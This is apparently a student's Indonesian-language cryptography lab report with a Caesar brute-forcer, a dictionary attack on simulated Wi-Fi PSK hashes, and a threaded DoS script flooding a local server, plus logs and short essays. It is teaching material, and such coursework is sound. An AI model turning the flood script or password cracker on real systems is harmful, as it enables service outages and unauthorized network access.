

TUGAS PRAKTIKUM 5

Nama : Muhammad 'Azmi Salam

NIM : 2406010

Kelas : C2

1. Caesar Bruteforce

```
def solve_caesar_bruteforce(ciphertext):
    print(f"Ciphertext: {ciphertext}")
    for key in range(26):
        plaintext = ""
        for c in ciphertext:
            if 'A' <= c <= 'Z':
                # Rumus dekripsi: geser mundur sebanyak key
                p = chr((ord(c) - ord('A') - key) % 26 + ord('A'))
                plaintext += p
            else:
                # Karakter non-huruf dibiarkan (seperti spasi)
                plaintext += c
        print(f"Kunci {key:2d}: {plaintext}")

if __name__ == "__main__":
    print("=== SOAL 1 ===")
    solve_caesar_bruteforce("HTZPX ST XRWXQPC DWXBTHPBP")

    print("\n=== SOAL 2 ===")
    solve_caesar_bruteforce("RMTIASIV LMVOIV SITQUIB UC AMVLQZQ IXI QBC
JZCBMNWZKM IBBIKS")
```

```
Kunci 9: YKQGO JK OINOHGT UNOSKYGSG
Kunci 10: XJPFN IJ NHMNGFS TMNRJXFRF
Kunci 11: WIOEM HI MGLMFER SLMQIWEQE
Kunci 12: VHNDL GH LFKLEDQ RKLPHVDPD
Kunci 13: UGMCK FG KEJKDCP QJKOGUCOC
Kunci 14: TFLBJ EF JDIJCBO PIJNFTBNB
Kunci 15: SEKAI DE ICHIBAN OHIMESAMA
Kunci 16: RDJZH CD HBGHAZM NGHLDRLZL
Kunci 17: QCIYG BC GAFGZYL MFGKCQYKY
Kunci 18: PBHXF AB FZEFYXK LEFJBXPJX
Kunci 19: OAGWE ZA EYDEXWJ KDEIAOWIW
Kunci 20: NZFVD YZ DXCDWTI JCDHZNVHV
Kunci 21: MYEUC XY CWBCVUH IBCGYMUGU
```

```

Kunci 3: OJQFXPFS IJSLFS PFQNRFY RZ XJSINWN FUF NYZ GWZYJKTWHJ FYYFHP
Kunci 4: NIPEWOER HIRKER OEPMQEX QY WIRHMM ETE MXV FVYXIJSVGI EXXEGO
Kunci 5: MHODVNDQ GHQJDQ NDOLPDW PX VHQGLUL DSD LWX EUXWHIRUFH DWWDFN
Kunci 6: LGNCUMCP FGPICP MCNKOCV OW UGPFKTK CRC KWW DTWVGHQTEG CVCCEM
Kunci 7: KFMBTLBO EFOHBO LBMJNBV NV TFOEJSJ BQB JUV CSVUFGPSDF BUUBDL
Kunci 8: JELASKAN DENGAN KALIMAT MU SENDIRI APA ITU BRUTEFORCE ATTACK
Kunci 9: IDKZRJZM CDMFZM JZKHLZS LT RDMCHQH ZOZ HST AQTSDENQBD ZSSZBJ
Kunci 10: HCJYQIYL BCLEYL IYJGKYR KS QCLBGP YNY GRS ZPSRCMPAC YRRYAI
Kunci 11: GBIXPHXK ABKDXK HXIFJXQ JR PBKAF OF XMX FQR YORQBCLOZB XQQXZH
Kunci 12: FAHWOGWJ ZAJCWJ GWHEIWP IQ OAJZENE WLW EPQ XNQPABKNYA WPPWYG
Kunci 13: EZGVNFVI YZIBVI FVGDHVO HP NZIYDMD VKV DOP WMPOZAJMXZ VOOVXF
Kunci 14: DYFUMEUH XYHAUH EUFCGUN GO MYHXCLC UJU CNO VLONYZILWY UNNUWE

```

Brute force attack (Serangan Brute-force) adalah metode pencarian kunci atau kata sandi dengan cara mencoba semua kemungkinan kombinasi karakter satu per satu hingga menemukan hasil yang cocok. Dalam konteks kriptografi klasik seperti Caesar Cipher, brute force dilakukan dengan mencoba seluruh kemungkinan kunci pergeseran (0 sampai 25) pada ciphertext sampai ditemukan teks pesan (plaintext) yang dapat dibaca dan masuk akal. Metode ini memakan banyak waktu jika kombinasinya sangat besar, namun sangat mudah dilakukan pada algoritma yang ruang kuncinya kecil (seperti Caesar Cipher).

2. Dictionary Attack

```

import hashlib

# — Konfigurasi target —
SSID = "HotspotPraktikum"

def derive_psk(passphrase, ssid):
    """
    Simulasi PBKDF2-SHA1:
    passphrase + SSID -> PSK 256-bit
    """
    return hashlib.pbkdf2_hmac(
        'sha1',
        passphrase.encode('utf-8'),
        ssid.encode('utf-8'),
        iterations=4096,
        dklen=32
    ).hex()

# — Dictionary Attack —
wordlist = [
    "password",
    "12345678",

```

```

    "praktikum",
    "praktikum2026",
    "wifi1234",
    "abcdefgh",
    "qwerty123",
    # 10 Kandidat password baru
    "kriptografi",
    "kripto123",
    "rahasial23",
    "admin123",
    "jarkom2026",
    "ilkom2026",
    "mahasiswa",
    "semangka",
    "password123",
    "bismillah"
]

def run_simulation(scenario_name, target_psk):
    print(f"=== {scenario_name} ===")
    print(f"Target Password: {target_psk}")
    print("[*] Memulai Dictionary Attack...")

    target_hash = derive_psk(target_psk, SSID)
    found = False

    for word in wordlist:
        candidate_hash = derive_psk(word, SSID)
        print(f"    Mencoba: {word}")

        if candidate_hash == target_hash:
            print(f"[+] PASSWORD DITEMUKAN (Dictionary): {word}")
            found = True
            break

    if not found:
        print(f"[-] PASSWORD TIDAK DITEMUKAN di dictionary.")
        print("-" * 50 + "\n")

if __name__ == "__main__":
    # Skenario 1: Cracking salah satu password baru yang ada di
    dictionary
    run_simulation("Skenario 1: Password Ditemukan", "rahasial23")

```

```
# Skenario 2: Cracking password yang tidak ada di dictionary
run_simulation("Skenario 2: Password Tidak Ditemukan",
"supersecret999")
```

```
(zicofarry@Asoes36)-[/mnt/d/Muhammad 'Azmi Salam
$ python3 algo2_mod.py
=== Skenario 1: Password Ditemukan ===
Target Password: rahasia123
[*] Memulai Dictionary Attack...
Mencoba: password
Mencoba: 12345678
Mencoba: praktikum
Mencoba: praktikum2026
Mencoba: wifi1234
Mencoba: abcdefgh
Mencoba: qwerty123
Mencoba: kriptografi
Mencoba: kripto123
Mencoba: rahasia123
[+] PASSWORD DITEMUKAN (Dictionary): rahasia123
-----
```

```
=== Skenario 2: Password Tidak Ditemukan ===
Target Password: supersecret999
[*] Memulai Dictionary Attack...
Mencoba: password
Mencoba: 12345678
Mencoba: praktikum
Mencoba: praktikum2026
Mencoba: wifi1234
Mencoba: abcdefgh
Mencoba: qwerty123
Mencoba: kriptografi
Mencoba: kripto123
Mencoba: rahasia123
Mencoba: admin123
Mencoba: jarkom2026
Mencoba: ilkom2026
Mencoba: mahasiswa
Mencoba: semangka
Mencoba: password123
Mencoba: bismillah
[-] PASSWORD TIDAK DITEMUKAN di dictionary.
-----
```

3. Perbedaan Cyber Attack dengan Kriptanalisis

Cyber Attack adalah segala jenis kejahatan atau serangan yang menargetkan sistem komputer, jaringan, dan perangkat secara luas (misalnya dengan virus, phishing, atau DDoS) untuk merusak sistem atau mencuri data. Sedangkan Kriptanalisis adalah salah satu metode analitis dan matematis yang sangat spesifik (berkaitan erat dengan kriptografi) untuk mencari celah pada algoritma sandi. Kriptanalisis ini bisa digunakan sebagai bagian dari Cyber Attack untuk membongkar dan membaca data penting yang sudah dikunci atau dienkripsi tanpa perlu mengetahui kuncinya.

4. DOS di server lokal

a. Screenshot log server

```
File "/usr/lib/python3.13/http/server.py", line 878, in copyfile
    shutil.copyfileobj(source, outputfile)
    ~~~~~^~~~~~
BrokenPipeError: [Errno 32] Broken pipe
BrokenPipeError: [Errno 32] Broken pipe
-----
File "/usr/lib/python3.13/socketserver.py", line 845, in write
    self._sock.sendall(b)
    ~~~~~^~~~~~
File "/usr/lib/python3.13/socketserver.py", line 845, in write
    self._sock.sendall(b)
    ~~~~~^~~~~~
-----
File "/usr/lib/python3.13/http/server.py", line 878, in copyfile
    shutil.copyfileobj(source, outputfile)
    ~~~~~^~~~~~
File "/usr/lib/python3.13/shutil.py", line 204, in copyfileobj
    fdst_write(buf)
    ~~~~~^~~~~~
-----
BrokenPipeError: [Errno 32] Broken pipe
BrokenPipeError: [Errno 32] Broken pipe
BrokenPipeError: [Errno 32] Broken pipe
-----
```

b. Error yang muncul dan alasannya

Error yang sering muncul pada log server lokal saat di-DoS adalah Broken pipe atau Connection reset by peer. Menurut Saya, Error ini muncul karena server menerima terlalu banyak permintaan koneksi secara bersamaan (flood) dari script attacker (algo3.py). Script tersebut membuka koneksi dengan sangat cepat dan langsung menutupnya.

membuat server kewalahan untuk merespons semua permintaan tersebut, sehingga koneksi terputus secara paksa sebelum server selesai memprosesnya.

c. Alasan DOS bukan merupakan kriptanalisis

DoS (Denial of Service) bukanlah kriptanalisis karena DoS tidak bertujuan untuk memecahkan kode rahasia, mencari kunci, atau membaca pesan yang dienkripsi (plaintext). Tujuan utama dari serangan DoS murni untuk membuat sebuah layanan atau server menjadi down (lumpuh) dan tidak bisa diakses oleh pengguna yang sah. Kriptanalisis menyerang aspek kerahasiaan (confidentiality), sedangkan DoS menyerang aspek ketersediaan (availability).

d. Kelemahan yang diserang oleh DOS

Serangan DoS mengeksploitasi kelemahan keterbatasan sumber daya (resource limits) pada target. Sumber daya tersebut bisa berupa batas maksimal koneksi yang bisa ditangani server (kapasitas RAM dan CPU), atau batas bandwidth jaringan. Karena kapasitas server lokal terbatas, membanjirinya dengan ratusan thread permintaan palsu secara bersamaan akan membuat sumber dayanya habis (resource exhaustion), sehingga server tersebut lumpuh.

```
# ddos.py
import socket, threading, time
TARGET_IP = "127.0.0.1" # ganti dengan IP laptop
TARGET_PORT = 8080
NUM_THREADS = 100 # jumlah thread serentak
DURATION = 5 # durasi serangan (detik)
request_count = 0
stop_flag = False
def attack():
    global request_count, stop_flag
    while not stop_flag:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((TARGET_IP, TARGET_PORT))
            # Kirim HTTP request minimal
            s.send(b"GET / HTTP/1.1\r\nHost: target\r\n\r\n")
            s.close()
            request_count += 1
        except:
            pass
if __name__ == "__main__":
```

```
    print(f"[*] Memulai serangan DDoS ke {TARGET_IP}:{TARGET_PORT}
selama {DURATION} detik...")
    threads = []
    for _ in range(NUM_THREADS):
        t = threading.Thread(target=attack)
        t.start()
        threads.append(t)
    time.sleep(DURATION)
    stop_flag = True
    for t in threads:
        t.join()
    print(f"[*] Serangan selesai. Total request yang dikirim:
{request_count}")
```